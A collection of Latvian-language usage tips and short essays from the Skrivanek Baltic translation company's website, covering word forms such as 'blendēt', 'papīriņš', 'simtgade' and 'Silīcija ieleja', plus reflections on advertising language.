PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai saldējumu ar augļiem blendēsim vai blenderēsim? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-05-16 - Modified: 2025-03-12 - URL: https://skrivanek.lv/blendet-pret-blenderet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BLENDĒT PRET BLENDERĒT 1 Vai saldējumu ar augļiem blendēsim vai blenderēsim? Vārds „blenderis” latviešu valodā ienācis no angļu vārda „blender”. Smalcināt kaut ko ar blenderi vai blenderī nozīmē „blendēt” (nevis „blenderēt”). Latviešu valodā ir arī citi aizgūti lietvārdi, kuriem atbilstošie darbības vārdi veidoti līdzīgi, piemēram, „mikseris” – „miksēt” (nevis mikserēt), „printeris” – „printēt” (nevis „printerēt”) u. c. Tātad saldējumu ar augļiem blendēsim. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai agri pavasarī mūs iepriecina sniegpulkstenītes vai sniegpulkstenīši? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-05-16 - Modified: 2025-04-16 - URL: https://skrivanek.lv/sniegpulkstenite-pret-sniegpulkstenitis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SNIEGPULKSTENĪTE PRET SNIEGPULKSTENĪTIS 1 Vai agri pavasarī mūs iepriecina sniegpulkstenītes vai sniegpulkstenīši? Latviešu valodā vārds „pulkstenis” (deminutīvā „pulkstenītis”) ir vīriešu dzimtes lietvārds, un sarunvalodā mēs arī šos ziedus saucam par pulkstenīšiem. Tomēr zieda nosaukums ir sieviešu dzimtē – sniegpulkstenīte. Līdzīgs piemērs ir arī augs „kliņģerīte” – lai gan „kliņģeris” (deminutīvā „kliņģerītis”) ir vīriešu dzimtes lietvārds, tomēr zieda nosaukums ir sieviešu dzimtē – „kliņģerīte”. Tātad agrā pavasarī mūs priecē sniegpulkstenītes. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Uz galda mētājas papīriņš vai papīrītis? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-05-16 - Modified: 2024-09-11 - URL: https://skrivanek.lv/papirins-pret-papiritis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PAPĪRIŅŠ PRET PAPĪRĪTIS 1 Vai uz galda mētājas papīriņš vai papīrītis? Vārds „papīrs” ir 1. deklinācijas lietvārds ar galotni „-s”, un no 1. deklinācijas lietvārdiem tiek veidota deminutīva forma ar izskaņu „-iņš”, piemēram: „katls” – „katliņš” (nevis „katlītis”), „veikals” – „veikaliņš” (nevis „veikalītis”). Sarunvalodā nereti dzirdamā deminutīva forma „papīrītis” neatbilst literārajai normai – vārda „papīrs” deminutīva forma ir „papīriņš”. Tātad uz galda mētājas papīriņš. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Alus meistarklasi vadīs alus someljē, alzinis vai aluszinis? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-05-16 - Modified: 2024-08-15 - URL: https://skrivanek.lv/alus-somelje-pret-alzinis-pret-aluszinis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ALUS SOMELJĒ PRET ALZINIS PRET ALUSZINIS 1 Vai alus meistarklasi vadīs alus someljē, alzinis vai aluszinis? Speciālistu vīna zinībās latviešu valodā saucam par vīnzini. Bieži sastopams arī svešvārds „someljē”, kas aizgūts no franču valodas vārda „sommelier” ar nozīmi ‘vīnzinis’. Līdzīgi vīnzinim, alus zinību speciālistu latviešu valodā var dēvēt par alzini vai aluszini – abas formas ir pareizas. Tātad meistarklasi vadīs alzinis jeb aluszinis. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā sauksim šo tehnoloģiju ražotnes centru? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-05-16 - Modified: 2024-08-14 - URL: https://skrivanek.lv/silicija-ieleja-pret-silikona-ieleja/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SILĪCIJA IELEJA PRET SILIKONA IELEJA 1 Kā īsti sauksim šo tehnoloģiju ražotnes centru? Angļu valodas vārds „silicon” latviešu tulkojumā latviešu valodā ir silīcijs. Savukārt vārds „silicone” nozīmē silikonu. Šo varam uzskatīt par tā saukto tulkotāju viltusdraugu – tulkojuma saskarvalodās, resp. , avotvalodā un mērķvalodā, lietotu ārēji, formas ziņā līdzīgu kopīgas cilmes vārdu ar līdzīgu izrunu un rakstību, bet ar atšķirīgu nozīmi. Tā „Silicon Valley” latviešu valodā nereti kļūdaini tulkota kā „Silikona ieleja”, nevis „Silīcija ieleja”, kā tam būtu jābūt. Tātad Kalifornijā atrodas Silīcija ieleja; Silīcija ielejā atrodas vairāki tehnoloģiju uzņēmumi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā jādēvē šī biljardam līdzīgā spēle? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-05-16 - Modified: 2024-07-12 - URL: https://skrivanek.lv/snukers/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SNUKERS PRET SNŪKERS 1 Kā jādēvē šī biljardam līdzīgā spēle? Latviešu valodā vārds snūkers aizgūts no šīs spēles nosaukuma angļu valodā „snooker”. Burtkopa „oo” latviešu valodā šajā vārdā atveidojama ar patskani „ū” līdzīgi kā vārdos kūlers (angļu „cooler”), Snūpijs (angļu „Snoopy)”. Skatīsimies snūkera sacensības un mēģināsim snūkeru spēlēt arī paši! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Šoreiz iemetīsim aci tirdzniecībā – ko aizraujošu mums piedāvā valodas meistari? Uzzini šajā Skrivanek rakstā! - Published: 2019-05-10 - Modified: 2021-08-26 - URL: https://skrivanek.lv/visapkart-kritosas-cenas/ - Kategorijas: valodas pērles - Translation Priorities: Optional VISAPKĀRT KRĪTOŠĀS CENAS Tirgotāji, kādu noteiktu laiku piedāvājot preces par pazeminātām cenām vai tās pārdodot, likvidējot savu veikalu vai uzņēmumu, jau sen neapstājas tikai pie apzīmējuma „izpārdošana”, bet gan pievieno krāšņus epitetus vai spēlējas ar šī vārda skanējumu vai nozīmi. Šoreiz iemetīsim aci tirdzniecībā – ko aizraujošu mums piedāvā valodas meistari? Atkarībā no tā, vai izpārdošana saistīta ar kādu gadalaiku, svētkiem vai kādu citu iemeslu, tirgotāji to raksturo ar kādu apzīmētāju. Visbiežāk, protams, manām lielo izpārdošanu, sezonas izpārdošanu, ziemas izpārdošanu. Pēc ASV parauga novembra otrajā pusē arī Latvijā vairākos veikalos ir melnā izpārdošana vai pavisam melnā izpārdošana. Reizēm gan redzam asprātīgas vārdu spēles ar formu un nozīmi. Vārdā „izpārdošana” priedēklī „iz-” balsīgais „z” nebalsīgā „p” priekšā izrunā kļūst nebalsīgs, proti, dzirdam . Tā, balstoties uz šo pozicionālo līdzskaņu pārmaiņu un vārdu nozīmēm, veido vārdu spēli, aizstājot priedēkli „iz-” ar vietniekvārdu „viss” un veidojot salikteni vispārdošana, proti, visa pārdošana. Tiesa, šis nav vienīgais darinājums – ap Lieldienu laiku mums piedāvā lidojumu lielpārdošanu vasarai, izpārdošanu ap Svētā Valentīna dienu dēvē par mīļpārdošanu. Tiek raudzīts arī pēc sinonīmiem, un izpārdošanas vietā atrodam arī iztirgošanu un lieltirgošanu. Meklējot citas izteiksmes iespējas, bieži rotaļājamies arī ar vārdu „cena” – protams, zemas cenas, viszemākās cenas vai super zemas cenas jau šķiet ierastas. Šīm pievienojas arī karstās cenas, neprāta cenas, trakās cenas, garšīgas ķiršu cenas, saldas cenas, cenu lapkritis, cenu revolūcija, cenu karuselis, cenu kritums... Ir prieks redzēt, ka labākie mārketinga speciālisti liek lietā asprātīgas vārdu spēles, kuras piesaista mūsu uzmanību un paliek prātā. Valodas iespējas kā allaž ir pārsteidzošas, un tā vien kārojas redzēt, kas jauns un radošs būs skatāms nākamreiz. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Vai burts „a” ir pirmais burts latviešu alfabetā vai alfabētā? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - Published: 2019-04-17 - Modified: 2024-06-05 - URL: https://skrivanek.lv/padoms-alfabets/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ALFABETS PRET ALFABĒTS 1 Vai burts „a” ir pirmais burts latviešu alfabetā vai alfabētā? Reizumis vārda pirmās zilbes uzsvara dēļ nav skaidrs, vai otrajā zilbē ir īss vai garš patskanis „e”. Vārds „alfabēts” cēlies no grieķu alfabēta pirmajiem diviem burtiem – „alpha” un „bēta”. Latviešu valodā grieķu alfabēta otrais burts rakstāms ar garu patskani „e”: bēta. Līdz ar to arī vārdā „alfabēts” šis patskanis ir garš. Tātad „a” ir pirmais burts latviešu, latīņu un daudzu citu valodu alfabētā. Citi latviešu valodas padomi Lai arī latviešu valodas alfabēts mums ierastajā veidolā pastāv tikai kopš 1957. gada, pirmie tā aizmetņi meklējami jau 17. gadsimtā, kad Garlībs Merķelis meklēja vietējo zemnieku valodas pieraksta iespējas. Latviešu alfabēts ir veidojies uz latīņu alfabēta bāzes, gluži tāpat, kā lielākā daļa citu Eiropas tautu alfabētu. Alfabēts ir skaņu pieraksta forma, kur katrai skaņai ir radīta atbilstoša zīme, atšķirībā, piemēram, no hieroglifu sistēmas, kur katrs simbols var nozīmēt konkrētu vārdu. Alfabēta vēsture aizsākās Senajā Ēģiptē, kur skaņu pierakstam tika izmantoti 24 hieroglifu fonogrammas, tam attīstoties, izveidojās feniķiešu pieraksta sistēma, uz kuras pamata radās grieķu alfabēts – Rietumu pasaules alfabētu priekštecis. Pasaulē populārākais ir latīņu alfabēts, kas attīstījies no sava grieķu priekšgājēja un kas tiek izmantots vairākās valodās, skaņu pierakstam tiekot papildinātam ar diakritiskajām zīmēm. Lai arī lielākajai daļai alfabētu pieraksta sistēma ir lineāra, pastāv arī cita veida alfabēti, piemēram, Braila raksts neredzīgajiem. Garākais alfabēts pasaulē ir khmeru alfabēts, ko izmanto Kambodžā, tas sastāv no 74 zīmēm. Savukārt Eiropā garākais ir slovāku alfabēts, kurā ir 46 burti. Latviešu alfabēts organiski iekļaujas eiropiešu alfabētu saimē, kuri lielākoties veidoti uz latīņu alfabēta bāzes, pievienojot tam specifiskas diakritiskās zīmes vai citus simbolus, tostarp ligatūras – divu burtu savienojumus kā, piemēram, æ. Ligatūras nav sastopamas latviešu valodā, toties bagātīgi atrodamas vācu, dāņu, franču, islandiešu, norvēģu un zviedru valodā. Savukārt latviešu valodas vajadzībām latīņu alfabēts tikai papildināts ar diakritiskajām zīmēm, kas norāda patskaņu garumu (garumzīmes) – ā, ē, ī, ū, līdzskaņu mīkstumu – ķ, ģ, ļ, ņ un līdzskaņus šņāceņus – š, č, dž. Laika gaidā latviešu alfabēts ir piedzīvojis būtiskas izmaiņas. Pirmo latviešu valodas pierakstu veica vācu mācītāji, balstoties savās vācu valodas zināšanās, taču attēlojums bija aptuvens. No 17. gadsimta latviešu valodas pierakstam tika izmantota tā dēvētā vecā ortogrāfija, ko raksturo gotiskie burti jeb fraktūra. Pateicoties jaunlatviešu kustībai, 19. gadsimta otrajā pusē latviešu valodas pierakstam sāka lietot antīkvu, taču juridiski pāreja uz jauno ortogrāfiju notika tikai 1919. gadā. Laika gaitā latviešu alfabēts tika pilnveidots, atmetot nevajadzīgas pieraksta zīmes kā, piemēram, ō, ŗ un ch.  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Plašsaziņas līdzekļos ir populāras reklāmas, kurās stāstīts par matraču misiju. Vai krēslu, galdu, gultu un matraču uzdevums mūsu dzīvē būtu dēvējams par misiju? - Published: 2019-03-05 - Modified: 2021-05-06 - URL: https://skrivanek.lv/matraci-dodies-misija/ - Kategorijas: valodas pērles - Translation Priorities: Optional MATRACI, DODIES MISIJĀ! Nenoliedzami katrai lietai mūsu dzīvē ir savs uzdevums – krēsls paredzēts sēdēšanai, spogulis domāts, lai mēs varētu sevi aplūkot. Šobrīd plašsaziņas līdzekļos ir populāras reklāmas, kurās stāstīts par matraču misiju. Vai krēslu, galdu, gultu un matraču uzdevums mūsu dzīvē būtu dēvējams par misiju? Par misiju pamatnozīmē dēvē kādu nozīmīgu, svarīgu pienākumu vai uzdevumu. Nereti šo vārdu sastopam metaforiskā lietojumā, piemēram, māksliniece Džemma Skulme teic, ka „mākslas misija ir paplašināt fantāziju un domāšanu un iedarbināt dvēseles teritoriju”. Tāpat pieminam sieviešu misiju, vīriešu misiju, cilvēku misiju uz Zemes vispār. Ziņās dzirdam pieminam starptautiskas misijas, kurās valstis sūta savus pārstāvjus: Latvija piedalās NATO padomdevēja, apmācību un atbalsta misijā Afganistānā, civilajās misijās Gruzijā un Ukrainā un citās. Šie piemēri liecina, ka misijai vajadzētu būt kaut kam patiešām nopietnam, lielam, valstiski vai pat globāli svarīgam. Vai arī matrača funkcija var būt tik nozīmīga? Ir ne mazums vārdu, kuru nozīme laika gaitā ir paplašinājusies, piemēram, vārds „izaicinājums” sākotnēji nozīmējis vien ‘izturēšanās, rīcība, runa, kas apvaino, liek asi reaģēt, pamudina uz pretdarbību, cīņu’. Vārdam „izaicinājums” piemitusi negatīva konotācija – tas bijis saistīts ar apvainojumu un tam sekojošu cīņu. Vīri varēja viens otru izaicināt uz dueli; varēja mest izaicinājumu pastāvošajam režīmam un pretoties tam. Nu ar izaicinājumu saprot arī jebkādu ierosmi kaut ko izdarīt, paveikt, sevišķi kaut ko grūtu, kā arī ar izaicinājumu apzīmē dažādas grūtības, kuras jāpārvar, lai sasniegtu mērķi: sastopam 30 dienu izaicinājumu, lai iegūtu slaidu augumu, par izaicinājumu dēvējam kādas svešvalodas apgūšanu īsā laikā u. tml. Par misijām pēdējos gados aizvien vairāk dēvē arī ne vien lielus un nozīmīgus uzdevumus, bet arī kādas darbības mērķi, kāda objekta funkciju: viesnīcas misija ir sniegt viesiem vislabāko atpūtu, alkohola ražotāja misija ir būt labākajam ražotājam reģionā, un te pievienojama arī matrača misija – padarīt mūsu dzīvi labāku. Jāteic, lai cik augstu mēs vērtētu savu uzņēmumu vai ražoto produktu, diezin vai viesnīcas, dzēriena ražotāja vai matrača uzdevumu vajadzētu dēvēt par misiju. Lai misijas tomēr paliek pie augstākiem, pamatīgākiem uzdevumiem, nevis, teiksim, gultā. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Vai plaukti jānostiprina, lai tie nesalūstu vai nesalūztu? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-02-21 - Modified: 2022-12-27 - URL: https://skrivanek.lv/lai-nesalustu-pret-lai-nesaluztu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LAI NESALUSTU PRET LAI NESALUZTU 1 Vai plaukti jānostiprina, lai tie nesalūstu vai nesalūztu? Darbības vārda „lūzt” formu pareizrakstība allaž sagādā raizes. Tagadnē un no tās atvasinātajās formās vārds rakstāms bez līdzskaņa „z”, piemēram, „es lūstu”, „galdam jālūst”, „lūstošs galds”, savukārt pārējos gadījumos darbības vārda formas rakstāmas ar līdzskani „z”, piemēram, „es lūzu”, „galds lūzdams krakšķēja”. Arī vēlējuma izteiksmē vārds rakstāms ar līdzskani „z”: „lūztu”. Tātad, lai plaukti nesalūztu, tie jānostiprina. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai valstis svin 100-gadi vai simtgadi? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-02-21 - Modified: 2022-12-27 - URL: https://skrivanek.lv/100-gade-pret-simtgade/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional 100-GADE PRET SIMTGADE 1 Vai valstis svin 100-gadi vai simtgadi? Bieži redzam, ka pie skaitļa vārda, kas rakstīts ar cipariem, tiek piesaistīts salikteņa otrais komponents, piemēram, „5-cīņa”, „7-klašu izglītība” u. tml. Tomēr nav ieteicams veidot šķietamus salikteņus, kur pirmā daļa ir skaitlis, otrā – vārddaļa. Ieteicams rakstīt „pieccīņa”, „septiņu klašu izglītība”, arī „simtgade”. Tātad valstis, kuras sasniegušas simt gadu vecumu, svin simtgadi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. 